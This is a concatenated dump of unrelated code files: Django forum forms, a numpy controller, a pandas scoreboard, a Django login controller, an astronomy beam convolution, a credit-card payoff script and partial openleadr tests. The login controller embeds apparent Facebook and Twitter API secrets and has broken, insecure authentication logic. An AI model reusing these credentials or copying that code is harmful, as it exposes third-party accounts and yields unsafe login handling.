self.cleaned_data.get('poll_type', None)\n poll_question = self.cleaned_data.get('poll_question', None)\n if poll_type is not None and poll_type != Poll.TYPE_NONE and not poll_question:\n raise forms.ValidationError(_('Poll''s question is required when adding a poll'))\n\n return self.cleaned_data\n\n def get_or_create_topic(self, allow_post):\n if self._forum:\n topic = Topic(\n forum=self._forum,\n user=self.user,\n name=self.cleaned_data['name'],\n )\n\n if not allow_post:\n topic.on_moderation = topic.MODERATION_IS_IN_MODERATION\n topic.save()\n\n if not defaults.PYBB_DISABLE_POLLS:\n if 'poll_type' in self.cleaned_data and self.cleaned_data['poll_type'] != Poll.TYPE_NONE:\n poll = Poll(\n type=self.cleaned_data['poll_type'],\n question=self.cleaned_data['poll_question']\n )\n poll.save()\n\n topic.poll = poll\n else:\n topic = self._topic\n\n return topic\n\n def create_post(self, topic):\n return Post(topic=topic, user=self.user, user_ip=self.ip,\n body=self.cleaned_data['body'], hash=self.cleaned_data['hash'])\n\n def save(self, commit=True):\n if self.instance.pk:\n post = super(PostForm, self).save(commit=False)\n if self.user:\n post.user = self.user\n\n if post.is_updatable():\n post.updated = tznow()\n\n if post.topic.head == post:\n topic = post.topic\n\n topic.name = self.cleaned_data['name']\n topic.updated = tznow()\n topic.save()\n\n if not defaults.PYBB_DISABLE_POLLS:\n if self.cleaned_data['poll_type'] != Poll.TYPE_NONE:\n poll = topic.poll or Poll()\n poll.type = self.cleaned_data['poll_type']\n poll.question = self.cleaned_data['poll_question']\n\n is_new = poll.pk is None\n\n poll.save()\n\n if is_new:\n topic.poll = poll\n topic.save()\n else:\n if topic.poll:\n topic.poll.answers.all().delete()\n topic.poll = None\n topic.save()\n\n post.save()\n\n return post\n\n allow_post = True\n\n if pybb_premoderation is not None:\n allow_post = pybb_premoderation(self.user, self.cleaned_data)\n\n if 'forum' in self.cleaned_data and not self._forum:\n self._forum = self.cleaned_data['forum']\n\n topic = self.get_or_create_topic(allow_post)\n\n post = self.create_post(topic)\n\n if not allow_post:\n post.on_moderation = True\n\n post.save()\n\n return post\n\n\nclass AdminPostForm(PostForm):\n \"\"\"\n Superusers can post messages from any user and from any time\n If no user with specified name - new user will be created\n \"\"\"\n login = forms.ModelChoiceField(label=_('User'), queryset=get_user_model().objects.all())\n\n def __init__(self, *args, **kwargs):\n if args:\n kwargs.update(dict(zip(inspect.getargspec(forms.ModelForm.__init__)[0][1:], args)))\n\n super(AdminPostForm, self).__init__(**kwargs)\n\n def save(self, *args, **kwargs):\n self.user = self.cleaned_data['login']\n\n return super(AdminPostForm, self).save(*args, **kwargs)\n\n\nclass UserSearchForm(forms.Form):\n query = forms.CharField(required=False, label='')\n\n def filter(self, qs):\n if self.is_valid():\n query = self.cleaned_data['query']\n return qs.filter(username__contains=query)\n\n return qs\n\n\nclass PollForm(forms.Form):\n def __init__(self, poll, *args, **kwargs):\n self.poll = poll\n\n super(PollForm, self).__init__(*args, **kwargs)\n\n qs = PollAnswer.objects.filter(poll=poll)\n\n if poll.type == Poll.TYPE_SINGLE:\n self.fields['answers'] = forms.ModelChoiceField(\n label='', queryset=qs, empty_label=None,\n widget=forms.RadioSelect())\n elif poll.type == Poll.TYPE_MULTIPLE:\n self.fields['answers'] = forms.ModelMultipleChoiceField(\n label='', queryset=qs,\n widget=forms.CheckboxSelectMultiple())\n\n def clean_answers(self):\n answers = self.cleaned_data['answers']\n\n if self.poll.type == Poll.TYPE_SINGLE:\n return [answers]\n\n return answers\n\n\nclass ForumForm(forms.ModelForm):\n error_messages = {\n 'duplicate': _(\"A forum with that name already exists.\"),\n 'forbidden': _(\"This name is reserved.\"),\n 'invalid_parent': _(\"A forum cannot be it's own parent\")\n }\n\n class Meta:\n model = Forum\n exclude = ('moderators', 'updated', 'post_count',\n 'topic_count', 'member_count', 'readed_by', 'forum_count', 'last_topic',\n 'last_post')\n\n def clean_name(self):\n name = self.cleaned_data['name']\n\n slug = slugify(name)\n\n if slug in defaults.PYBB_FORBIDDEN_SLUGS:\n raise forms.ValidationError(self.error_messages['forbidden'])\n\n qs = self._meta.model.objects.filter(Q(slug=slug) | Q(name__iexact=name))\n\n if self.instance.pk:\n qs = qs.exclude(pk=self.instance.pk)\n\n if qs.exists():\n raise forms.ValidationError(self.error_messages['duplicate'])\n\n return name\n\n def clean_forum(self):\n pk = self.instance.pk\n parent = self.cleaned_data['forum']\n\n if pk and parent and (parent.id == pk or pk in parent.forum_ids):\n raise forms.ValidationError(self.error_messages['invalid_parent'])\n\n return parent\n\n\nclass ModerationForm(forms.Form):\n def __init__(self, *args, **kwargs):\n self.obj = kwargs.pop('obj', None)\n self.user = kwargs.pop('user', None)\n self.permissions = kwargs.pop('permissions', [])\n\n super(ModerationForm, self).__init__(*args, **kwargs)\n\n available_permissions = {}\n\n if self.user:\n if not self.obj:\n available_permissions = dict((permission.pk, permission)\n for permission in self.user.user_permissions.all())\n else:\n available_permissions = dict((permission.permission_id, permission)\n for permission in UserObjectPermission.objects.get_for_object(self.user, self.obj))\n\n for permission in self.permissions:\n initial = int(bool(permission.pk in available_permissions))\n\n self.fields[permission.codename] = forms.ChoiceField(label=permission.name,\n widget=forms.RadioSelect(),\n choices=(\n (0, _('No')),\n (1, _('Yes')),\n ), initial=initial)\n\n def save(self, user, obj=None):\n obj = obj or self.obj\n\n ctype = None\n\n if obj:\n ctype = ContentType.objects.get_for_model(obj)\n\n for permission in self.permissions:\n value = int(self.cleaned_data[permission.codename])\n\n if value:\n if obj:\n UserObjectPermission.objects.assign_perm(permission.codename, user=user, obj=obj, ctype=ctype)\n else:\n user.user_permissions.add(permission)\n else:\n if obj:\n UserObjectPermission.objects.remove_perm(permission.codename, user=user, obj=obj, ctype=ctype)\n else:\n user.user_permissions.remove(permission)\n\n\nclass SearchUserForm(forms.Form):\n username = forms.CharField(label=_('Username'), required=True)\n error_messages = {\n 'unknown_username': _('A user with that username does not exist.'),\n }\n\n def clean_username(self):\n username = self.cleaned_data['username']\n try:\n self.get_user(username)\n except get_user_model().DoesNotExist:\n raise forms.ValidationError(self.error_messages['unknown_username'])\n else:\n return username\n\n def get_user(self, username):\n return get_user_model().objects.get(username=username)\n\n\nclass PostsMoveExistingTopicForm(forms.Form):\n topic = forms.ModelChoiceField(label=_('Destination topic'),\n required=True,\n queryset=Topic.objects.visible())\n\n def __init__(self, *args, **kwargs):\n self.posts = kwargs.pop('posts', None)\n self.user = kwargs.pop('user', None)\n\n super(PostsMoveExistingTopicForm, self).__init__(*args, **kwargs)\n\n def save(self):\n topic = self.cleaned_data['topic']\n\n self.posts.update(topic=topic)\n topic.update_counters()\n\n return topic\n\n\nclass PostsMoveNewTopicForm(forms.Form):\n forum = forms.ModelChoiceField(label=_('Destination forum'),\n required=True,\n queryset=Forum.objects.all())\n\n name = forms.CharField(label=_('New name for this topic'),\n required=True)\n\n error_messages = {\n 'duplicate': _(u'A topic with the name \"%(topic)s\" already exists in the forum \"%(forum)s\"'),\n }\n\n def __init__(self, *args, **kwargs):\n self.posts = kwargs.pop('posts', None)\n self.user = kwargs.pop('user', None)\n\n super(PostsMoveNewTopicForm, self).__init__(*args, **kwargs)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n\n if not defaults.PYBB_DUPLICATE_TOPIC_SLUG_ALLOWED:\n forum = self.cleaned_data['forum']\n\n name = self.cleaned_data['name']\n\n slug = slugify(name)\n\n try:\n forum.topics.get(slug=slug)\n except Topic.DoesNotExist:\n pass\n else:\n self._errors['name'] = self.error_class([self.error_messages['duplicate'] % {\n 'topic': name,\n 'forum': forum\n }])\n\n return cleaned_data\n\n def save(self):\n cleaned_data = self.cleaned_data\n\n topic = Topic.objects.create(forum=cleaned_data['forum'],\n name=cleaned_data['name'],\n user=self.user)\n\n self.posts.update(topic=topic)\n topic.update_counters()\n\n return topic\n\n\nclass TopicMoveForm(forms.Form):\n error_messages = {\n 'duplicate': _(u'A topic with the name \"%(topic)s\" already exists in the forum \"%(forum)s\"'),\n 'expired_not_empty': _(u'You must specify the expiring date')\n }\n\n name = forms.CharField(label=_('New name for this topic'),\n required=False,\n help_text='No required, only if you want to change the name of the topic')\n\n forum = forms.ModelChoiceField(label=_('Destination forum'),\n required=True,\n queryset=Forum.objects.all())\n\n redirection_type = forms.ChoiceField(label=_('Redirect'),\n choices=TopicRedirection.TYPE_CHOICES,\n widget=forms.RadioSelect,\n initial=TopicRedirection.TYPE_PERMANENT_REDIRECT)\n\n expired = forms.DateField(label=('Expires in'), required=False)\n\n def __init__(self, *args, **kwargs):\n self.topic = kwargs.pop('topic', None)\n\n super(TopicMoveForm, self).__init__(*args, **kwargs)\n\n self.fields['forum'].initial = self.topic.forum\n\n def clean(self):\n cleaned_data = self.cleaned_data\n\n redirection_type = cleaned_data['redirection_type']\n\n if (int(redirection_type) == TopicRedirection.TYPE_EXPIRING_REDIRECT and\n ('expired' not in cleaned_data or not cleaned_data['expired'])):\n self._errors['expired'] = self.error_class([self.error_messages['expired_not_empty']])\n\n if not defaults.PYBB_DUPLICATE_TOPIC_SLUG_ALLOWED:\n forum = self.cleaned_data['forum']\n\n if 'name' in self.cleaned_data and self.cleaned_data['name']:\n name = self.cleaned_data['name']\n\n slug = slugify(name)\n\n try:\n forum.topics.get(slug=slug)\n except Topic.DoesNotExist:\n pass\n else:\n self._errors['name'] = self.error_class([self.error_messages['duplicate'] % {\n 'topic': name,\n 'forum': forum\n }])\n else:\n try:\n forum.topics.get(slug=self.topic.slug)\n except Topic.DoesNotExist:\n pass\n else:\n self._errors['name'] = self.error_class([self.error_messages['duplicate'] % {\n 'topic': self.topic,\n 'forum': forum\n }])\n\n return cleaned_data\n\n def save(self):\n forum = self.cleaned_data['forum']\n\n topic = copy.copy(self.topic)\n topic.pk = None\n topic.forum = forum\n\n if self.cleaned_data['name']:\n topic.name = self.cleaned_data['name']\n\n topic.save()\n\n if ('expired' in self.cleaned_data and\n self.cleaned_data['redirection_type'] == TopicRedirection.TYPE_EXPIRING_REDIRECT):\n topic.absorb(self.topic,\n redirection_type=self.cleaned_data['redirection_type'],\n expired=self.cleaned_data['expired'])\n else:\n topic.absorb(self.topic,\n redirection_type=self.cleaned_data['redirection_type'])\n\n self.topic.forum.update_counters()\n\n return topic\n\n\ndef get_topic_move_formset(topics, form=TopicMoveForm):\n class BaseTopicMoveFormSet(BaseFormSet):\n def __init__(self, *args, **kwargs):\n self.topics = topics\n\n super(BaseTopicMoveFormSet, self).__init__(*args, **kwargs)\n\n def _construct_form(self, i, **kwargs):\n kwargs['topic'] = self.topics[i]\n\n return super(BaseTopicMoveFormSet, self)._construct_form(i, **kwargs)\n\n return formset_factory(extra=len(topics), form=load_class(defaults.PYBB_TOPIC_MOVE_FORM), formset=BaseTopicMoveFormSet)\n\n\nclass TopicMergeForm(forms.Form):\n topic = forms.ModelChoiceField(label=_('Name of the topic'),\n help_text=_('Use this field to combine the current topic to another'),\n required=True,\n queryset=Topic.objects.visible())\n\n def __init__(self, *args, **kwargs):\n self.topic = kwargs.pop('topic', None)\n\n super(TopicMergeForm, self).__init__(*args, **kwargs)\n\n def clean_topic(self):\n topic = self.cleaned_data['topic']\n\n if topic == self.topic:\n raise forms.ValidationError(_('You can\\'t merge a topic in the same topic'))\n\n return topic\n\n def save(self):\n topic = self.cleaned_data['topic']\n\n topic.absorb(self.topic)\n\n return topic\n\n\ndef get_topic_merge_formset(topics, form=TopicMergeForm):\n class BaseTopicMergeFormSet(BaseFormSet):\n def __init__(self, *args, **kwargs):\n self.topics = topics\n\n super(BaseTopicMergeFormSet, self).__init__(*args, **kwargs)\n\n def _construct_form(self, i, **kwargs):\n kwargs['topic'] = self.topics[i]\n\n return super(BaseTopicMergeFormSet, self)._construct_form(i, **kwargs)\n\n return formset_factory(extra=len(topics), form=load_class(defaults.PYBB_TOPIC_MERGE_FORM), formset=BaseTopicMergeFormSet)\n\n\nclass TopicDeleteForm(forms.Form):\n confirm = forms.BooleanField(required=False, initial=True)\n\n def __init__(self, *args, **kwargs):\n self.topic = kwargs.pop('topic', None)\n\n super(TopicDeleteForm, self).__init__(*args, **kwargs)\n\n def save(self):\n if self.cleaned_data.get('confirm', True):\n if not self.topic.deleted:\n self.topic.mark_as_deleted()\n else:\n self.topic.mark_as_undeleted()\n\n return self.topic\n\n\ndef get_topic_delete_formset(topics, form=TopicDeleteForm):\n class BaseTopicDeleteFormSet(BaseFormSet):\n def __init__(self, *args, **kwargs):\n self.topics = topics\n\n super(BaseTopicDeleteFormSet, self).__init__(*args, **kwargs)\n\n def _construct_form(self, i, **kwargs):\n kwargs['topic'] = self.topics[i]\n\n return super(BaseTopicDeleteFormSet, self)._construct_form(i, **kwargs)\n\n return formset_factory(extra=len(topics), form=load_class(defaults.PYBB_TOPIC_DELETE_FORM), formset=BaseTopicDeleteFormSet)\n","sub_path":"pybb/forms/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":23502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"332914537","text":"import numpy as np\nfrom . import config\nfrom . import base_actor\n\nnp.seterr(all=\"raise\")\nF_OUTPUT_BOUND = 1.\nHIDDEN_LAYER_UNITS = 5\n\n\ndef sigmoid(x: np.array) -> np.array:\n x = np.clip(x, -500, 500)\n return 1. / (1 + np.exp(-x))\n\n\nclass Actor(base_actor.BaseActor):\n def __str__(self):\n return \"LinearActor\"\n\n def _build_network(self):\n r\"\"\"\n Define linear function for feedback model.\n\n \\dot{\\phi}_i = \\omega + f_i(F) \\cos \\phi_i\n return: [action_0, action_1, ...]\n \"\"\"\n self.new_trainable_variable(\"w0_sin\", np.zeros(\n (config.somites * 2 - 2, HIDDEN_LAYER_UNITS), dtype=np.float64))\n self.new_trainable_variable(\"b0_sin\", np.zeros(HIDDEN_LAYER_UNITS, dtype=np.float64))\n self.new_trainable_variable(\"w1_sin\", np.zeros(\n (HIDDEN_LAYER_UNITS, config.oscillators + config.grippers), dtype=np.float64))\n self.new_trainable_variable(\"b1_sin\", np.zeros(config.oscillators + config.grippers, dtype=np.float64))\n\n self.new_trainable_variable(\"w0_cos\", np.zeros(\n (config.somites * 2 - 2, HIDDEN_LAYER_UNITS), dtype=np.float64))\n self.new_trainable_variable(\"b0_cos\", np.zeros(HIDDEN_LAYER_UNITS, dtype=np.float64))\n self.new_trainable_variable(\"w1_cos\", np.zeros(\n (HIDDEN_LAYER_UNITS, config.oscillators + config.grippers), dtype=np.float64))\n self.new_trainable_variable(\"b1_cos\", np.zeros(config.oscillators + config.grippers, dtype=np.float64))\n\n # self.new_trainable_variable(\"gripping_phase_threshold\", np.ones(config.grippers, dtype=np.float64) * config.caterpillar_params[\"gripping_phase_threshold\"])\n\n def action_infer(state: np.array) -> np.array:\n \"\"\"\n Get state and return feedback.\n\n state: [f_0, f_1, ..., phi_0, phi_1, ..., t_0, t_1, ...]\n return: [phase_feedback0, phase_feedback1, ..., angle_range0, angle_range1, ...]\n \"\"\"\n forces = state[:config.somites]\n phis = state[config.somites:config.somites + config.oscillators + config.grippers]\n tensions = state[config.somites + config.oscillators + config.grippers:]\n\n f_sin, f_cos = self._calc_fs(np.concatenate((forces, tensions)))\n return f_sin * np.sin(phis) + f_cos * np.cos(phis),\\\n np.ones(config.grippers) * config.caterpillar_params[\"gripping_phase_threshold\"]\n # np.clip(self.var(\"gripping_phase_threshold\"), -1., 1)\n\n return action_infer\n\n def _calc_fs(self, state: np.array) -> tuple:\n assert state.shape == (config.somites * 2 - 2,), \"state shape should be {}, got {}\".format((config.somites * 2 - 2,), state.shape)\n f_sin = F_OUTPUT_BOUND * sigmoid(\n np.matmul(sigmoid(\n np.matmul(state, self.var(\"w0_sin\")) + self.var(\"b0_sin\")\n ), self.var(\"w1_sin\")) + self.var(\"b1_sin\")\n )\n f_cos = F_OUTPUT_BOUND * sigmoid(\n np.matmul(sigmoid(\n np.matmul(state, self.var(\"w0_cos\")) + self.var(\"b0_cos\")\n ), self.var(\"w1_cos\")) + self.var(\"b1_cos\")\n )\n return f_sin, f_cos\n\n def get_raw_params(self) -> list:\n return self.var(\"w0_sin\"), self.var(\"w1_sin\"), self.var(\"w0_cos\"), self.var(\"w1_cos\"),\\\n self.var(\"b0_sin\"), self.var(\"b1_sin\"), self.var(\"b0_cos\"), self.var(\"b1_cos\")\n\n @staticmethod\n def dump_config() -> dict:\n return {\n \"actor name\": \"neural network actor with tensions\",\n \"F_OUTPUT_BOUND\": F_OUTPUT_BOUND,\n \"HIDDEN_LAYER_UNITS\": HIDDEN_LAYER_UNITS,\n }\n","sub_path":"gripping/controllers/neural_net_actor_with_tension.py","file_name":"neural_net_actor_with_tension.py","file_ext":"py","file_size_in_byte":3699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"11917805","text":"import datetime\nimport pandas as pd\n\nimport os\nfrom os import path\n\nCSV_DIR = 'csv'\nIMAGE_DIR = 'images'\n\nfor directory in [CSV_DIR, IMAGE_DIR]:\n if not path.isdir(directory):\n os.makedirs(directory)\n\n\nclass Board:\n \n def __init__(self, channel_id):\n self.file_path = f'{CSV_DIR}/{channel_id}.csv'\n self.image_path = f'{IMAGE_DIR}/{channel_id}.png'\n \n if path.exists(self.file_path):\n self.df = pd.read_csv(self.file_path, index_col=0)\n self.df.index = pd.to_datetime(self.df.index)\n else:\n self.df = pd.DataFrame()\n \n def __del__(self):\n self.df.to_csv(self.file_path)\n \n def add_member(self, name):\n self.df[name] = 0\n \n def add_score(self, name, score):\n today = pd.to_datetime(datetime.date.today())\n name = str(name)\n \n # Insert row if not exist\n if today not in self.df.index:\n self.df.loc[today] = 0\n \n # Insert column if not exist\n if name not in self.df.columns:\n self.add_member(name)\n \n self.df.loc[today, name] += score\n \n def get_timeline(self):\n figure = self.df.plot(figsize=(15, 6)).get_figure()\n figure.savefig(self.image_path)\n return self.image_path\n \n def clear(self):\n self.df = pd.DataFrame()\n \n def get_summary_pic(self, user_map):\n df = self.df.rename(columns=user_map)\n figure = df.sum().plot.barh(figsize=(15, 6)).get_figure()\n figure.savefig(self.image_path)\n return self.image_path","sub_path":"scoring.py","file_name":"scoring.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"163179518","text":"#from django.contrib.auth import authenticate, login\nimport ast\n\nimport oauth2\nimport requests\nfrom django.http import HttpResponseForbidden\nfrom mongoengine.django.auth import User\nfrom rest_framework.decorators import api_view, renderer_classes, permission_classes\nfrom rest_framework.permissions import AllowAny\nfrom rest_framework.renderers import TemplateHTMLRenderer, JSONRenderer\nfrom rest_framework.response import Response\n\nfrom YouWeesh.Models.Token import Token\nfrom YouWeesh.Models.Users import Users\nfrom YouWeesh.Serializers.UsersSerializer import UsersSerializer\nfrom YouWeesh.Tools.app import App\n\n\n\n@api_view(('GET',))\n@permission_classes((AllowAny,))\n@renderer_classes((JSONRenderer, TemplateHTMLRenderer))\ndef loginUser(request):\n \"\"\"\n si on recupere un POST, on essaie de connecter le user\n \"\"\"\n\n ''''\n tokenCode = request.META['HTTP_AUTHORIZATION']\n tokenCode = tokenCode[8:-1]\n\n token = Token.objects.get(token=tokenCode)\n\n if token:\n user = User.objects.get(id=token.user.id)\n users = Users.objects.get(user__username=user.username)\n usersSerializer = UsersSerializer(instance=users)\n return Response(usersSerializer.data)\n else:\n return HttpResponseForbidden\n '''''\n user = App.getCurrentUser(request)\n if user is not None:\n usersSerializer = UsersSerializer(instance=user)\n return Response(usersSerializer.data)\n else:\n return HttpResponseForbidden\n\n@api_view(('POST',))\n@permission_classes((AllowAny,))\n@renderer_classes((JSONRenderer, TemplateHTMLRenderer))\ndef getToken(request):\n \"\"\"\n si on recupere un POST, on essaie de connecter le user\n \"\"\"\n if request.method == 'POST':\n email = request.POST['email'].lower()\n password = request.POST['password']\n\n user = User.objects.get(email=email)\n users = Users.objects.get(user__email=email)\n socialnetworkObject = users.social_network\n\n if socialnetworkObject.label == 'Youweesh':\n if user.is_active and user.check_password(password):\n token = Token()\n Token.objects(user=user).update_one(user=user,token=token.generate_key(),upsert=True)\n return Response(token.get_token())\n else:\n return HttpResponseForbidden\n\n\n@api_view(('POST',))\n@permission_classes((AllowAny,))\n@renderer_classes((JSONRenderer, TemplateHTMLRenderer))\ndef getTokenForSocialNetWork(request):\n \"\"\"\n si on recupere un POST, on essaie de connecter le user\n \"\"\"\n if request.method == 'POST':\n email = request.POST['email'].lower();\n socialtoken = request.POST['socialtoken']\n secretsocialtoken = request.POST['secretsocialtoken']\n\n try:\n user = User.objects.get(email=email)\n users = Users.objects.get(user__email=email)\n socialnetworkObject = users.social_network\n\n if socialnetworkObject.label == 'Facebook':\n '''\n url = 'https://graph.facebook.com/me'\n params = {'access_token': socialtoken}\n r = requests.get(url, params=params)\n userjson = r.json()\n userid = {'id':userjson['id']}\n '''\n url = 'https://graph.facebook.com/oauth/access_token'\n params = {'grant_type':'fb_exchange_token','client_id':'222535738090638','client_secret':'09a2f8b2122cd05061e50fa00dcc999a', 'fb_exchange_token':socialtoken}\n r = requests.get(url, params=params)\n response_json = ast.literal_eval(r.content)\n longLiveSocialToken = response_json.get('access_token')\n Token.objects(user=user).update_one(user=user,token=longLiveSocialToken,upsert=True)\n return Response(longLiveSocialToken)\n\n elif socialnetworkObject.label == 'Twitter':\n consumer = oauth2.Consumer(key='C7VkdO6gbb5l3xSCOXFQRX3z8', secret='CM6A2THzp1oLyqGPfFwLOcHdMVW3TS5vITdBMXOQun522bP09f')\n token = oauth2.Token(key=socialtoken, secret=secretsocialtoken)\n client = oauth2.Client(consumer, token)\n resp, content = client.request('https://api.twitter.com/1.1/account/verify_credentials.json',\"GET\")\n if resp['status'] == '200':\n Token.objects(user=user).update_one(user=user,token=socialtoken,upsert=True)\n return Response(socialtoken)\n else:\n return Response\n\n return RHttpResponseForbidden\n\n except Exception:\n\n return HttpResponseForbidden\n\n\n\n","sub_path":"YouWeesh/Controllers/LoginController.py","file_name":"LoginController.py","file_ext":"py","file_size_in_byte":4540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"3105351","text":"import numpy as np\nfrom .. import utils\nfrom .. import const\nfrom .. import misc\nfrom scipy import signal\n\ndef beam_convolve(input_array, z, fov_mpc, beam_w = None, max_baseline = None, beamshape='gaussian'):\n\t''' Convolve input_array with a beam of the specified form.\n\tinput_array - the array to be convolved\n\tz - the redshift of the map\n\tfov_mpc - the field of view in Mpc\n\tbeam_w - the width of the beam in arcminutes\n\tmax_baseline - the maximum baseline in meters (can be specified instead of beam_w)\n\tbeamshape - a string specifying the shape of the beam (only gaussian supported at this time)\n'''\n\n\tif (not beam_w) and (not max_baseline):\n\t\traise Exception('Please specify either a beam width or a maximum baseline')\n\telif not beam_w: #Calculate beam width from max baseline\n\t\tfr = const.nu0 / (1.0+z) \n\t\tlw = const.c/fr/1.e6*1.e3 # wavelength in m\n\t\tbeam_w = lw/max_baseline/np.pi*180.*60.\n\n\tangle = utils.zang(fov_mpc*1000./(1.0 + z), z)/60.\n\tmx = input_array.shape[0]\n\n\tutils.print_msg('Field of view is %.2f arcminutes' % (angle) )\n\tutils.print_msg('Convolving with %s beam of size %.2f arcminutes...' % (beamshape, beam_w) )\n\n\t#Convolve with beam\n\tif beamshape == 'gaussian':\n\t\tsigma0 = (beam_w)/angle/(2.0 * np.sqrt(2.0*np.log(2.)))*mx\n\t\tkernel = misc.gauss_kern(sigma=sigma0, size=mx)\n\telse:\n\t\traise Exception('Unknown beamshape: %g' % beamshape)\n\n\tout = signal.fftconvolve(input_array, kernel)\n\n\t#fftconvolve makes the output twice the size, so return only the central part\t\n\tox = out.shape[0]\n\treturn out[ox*0.25:ox*0.75, ox*0.25:ox*0.75]\n\n\n\n","sub_path":"instrumental/beam_convolve.py","file_name":"beam_convolve.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"572752086","text":"# https://youtu.be/k8asfUbWbI4\n\nimport datetime as dt\nimport calendar\n\nbalance = 5_000 # credit card balance you owe the bank\ninterest_rate_annual = 15 * .01 # 15% on credit card\nterms_annual = 12 # 12 terms per year\nmonthly_pmt = 200 # fixed monthly payment\n\ntoday = dt.date.today() # We ONLY want the date this time (⚡️ now())\n\n# 😎 Leverage the built-in calendar module from the standard library\n# DO NOT reInvent your wheel\n\n# 🧠 calendar.monthrange()\n# Get the number of days in current month automatically!\n# 👀 NOTE: this will be the \"immutable\" tuple! And ONLY grab the [1] element\n\ndays_in_curr_month = calendar.monthrange(today.year, today.month)[1]\n\nprint(days_in_curr_month) # (1, 31) -> 1 = Tuesday\n\n# 👀 Remember: all attributes ends with .attribute (E.g. today.day)\ndays_till_end_month = days_in_curr_month - today.day\n\nprint(days_till_end_month)\n\n# 🧠 datetime.timedelta()\n# Create time delta Δ for duration difference\n\nstart_date = today + dt.timedelta(days=days_till_end_month + 1)\nend_date = start_date # 🏃‍♂️ Will increment the end_date throuhg out the script\n\n# Simulate the 💸 Payment Loop\n\nwhile balance > 0:\n \"\"\"1st - add the interest accumulated from the previous month\"\"\"\n interest_charge = (interest_rate_annual/terms_annual) * balance\n balance += interest_charge\n\n \"\"\"2nd - subtract the monthly payment we contribute\"\"\"\n balance -= monthly_pmt\n\n \"\"\"3d - round the balance into 2 decimal places, and ALWYS be sure no-negative\"\"\"\n balance = 0 if balance < 0 else round(balance, 2)\n\n # 🎯 How to adjust print output with fixed length (E.g. $ _370.51 $___0.00)\n print(f'{end_date}, $ {balance:,.2f}')\n\n days_in_curr_month = calendar.monthrange(end_date.year, end_date.month)[1]\n end_date += dt.timedelta(days=days_in_curr_month)\n","sub_path":"03.Credit Card - Calculate Number of Days, Weeks, or Months to Reach Specific Goals.py","file_name":"03.Credit Card - Calculate Number of Days, Weeks, or Months to Reach Specific Goals.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"458151434","text":"from openleadr import OpenADRClient, OpenADRServer, enable_default_logging\nimport asyncio\nimport pytest\nfrom datetime import datetime, timedelta\nfrom functools import partial\nimport logging\nfrom random import random\nimport time\n\nfrom openleadr.messaging import create_message\n\nloop = asyncio.get_event_loop()\nloop.set_debug(True)\n\nenable_default_logging()\n\nasync def collect_data(future=None):\n print(\"Collect Data\")\n value = 100 * random()\n if future:\n future.set_result(value)\n return value\n\nasync def lookup_ven(ven_name=None, ven_id=None):\n \"\"\"\n Look up a ven by its name or ID\n \"\"\"\n return {'ven_id': '1234'}\n\nasync def receive_data(data, future=None):\n if future:\n future.set_result(data)\n pass\n\nasync def on_update_report(report, futures=None):\n if futures:\n for future in futures:\n if future.done() is False:\n future.set_result(report)\n break\n pass\n\nasync def on_register_report(ven_id, resource_id, measurement, unit, scale,\n min_sampling_interval, max_sampling_interval, bundling=1, futures=None, receive_futures=None):\n \"\"\"\n Deal with this report.\n \"\"\"\n print(f\"Called on register report {ven_id}, {resource_id}, {measurement}, {unit}, {scale}, {min_sampling_interval}, {max_sampling_interval}\")\n if futures:\n futures.pop(0).set_result(True)\n if receive_futures:\n callback = partial(receive_data, future=receive_futures.pop(0))\n else:\n callback = receive_data\n if bundling > 1:\n print(f\"Returning from on register report {callback}, {min_sampling_interval}, {bundling * min_sampling_interval}\")\n return callback, min_sampling_interval, bundling * min_sampling_interval\n print(f\"Returning from on register report {callback}, {min_sampling_interval}\")\n return callback, min_sampling_interval\n\nasync def on_register_report_full(report, futures=None):\n \"\"\"\n Deal with this report.\n \"\"\"\n if futures:\n futures.pop().set_result(True)\n granularity = min(*[rd['sampling_rate']['min_period'] for rd in report['report_descriptions']])\n report_requests = [(rd['r_id'], on_update_report, granularity) for rd in report['report_descriptions'] if report['report_name'] == 'METADATA_TELEMETRY_USAGE']\n return report_requests\n\nasync def on_create_party_registration(ven_name, future=None):\n if future:\n future.set_result(True)\n ven_id = '1234'\n registration_id = 'abcd'\n return ven_id, registration_id\n\n@pytest.mark.asyncio\nasync def test_report_registration():\n \"\"\"\n Test the registration of two reports with two r_ids each.\n \"\"\"\n # Create a server\n logger = logging.getLogger('openleadr')\n logger.setLevel(logging.DEBUG)\n server = OpenADRServer(vtn_id='testvtn')\n server.add_handler('on_register_report', on_register_report)\n server.add_handler('on_create_party_registration', on_create_party_registration)\n\n # Create a client\n client = OpenADRClient(ven_name='myven', vtn_url='http://localhost:8080/OpenADR2/Simple/2.0b',)\n\n # Add 4 reports\n client.add_report(callback=collect_data,\n report_specifier_id='CurrentReport',\n resource_id='Device001',\n measurement='current',\n unit='A')\n client.add_report(callback=collect_data,\n report_specifier_id='CurrentReport',\n resource_id='Device002',\n measurement='current',\n unit='A')\n client.add_report(callback=collect_data,\n report_specifier_id='VoltageReport',\n resource_id='Device001',\n measurement='voltage',\n unit='V')\n client.add_report(callback=collect_data,\n report_specifier_id='VoltageReport',\n resource_id='Device002',\n measurement='voltage',\n unit='V')\n\n asyncio.create_task(server.run_async())\n await asyncio.sleep(1)\n # Register the client\n await client.create_party_registration()\n\n # Register the reports\n await client.register_reports(client.reports)\n assert len(client.report_requests) == 2\n assert len(server.services['report_service'].report_callbacks) == 4\n await client.stop()\n await server.stop()\n\nasync def collect_status():\n return 1\n\n@pytest.mark.asyncio\nasync def test_report_registration_with_status_report():\n \"\"\"\n Test the registration of two reports with two r_ids each.\n \"\"\"\n # Create a server\n logger = logging.getLogger('openleadr')\n logger.setLevel(logging.DEBUG)\n server = OpenADRServer(vtn_id='testvtn')\n server.add_handler('on_register_report', on_register_report)\n server.add_handler('on_create_party_registration', on_create_party_registration)\n\n # Create a client\n client = 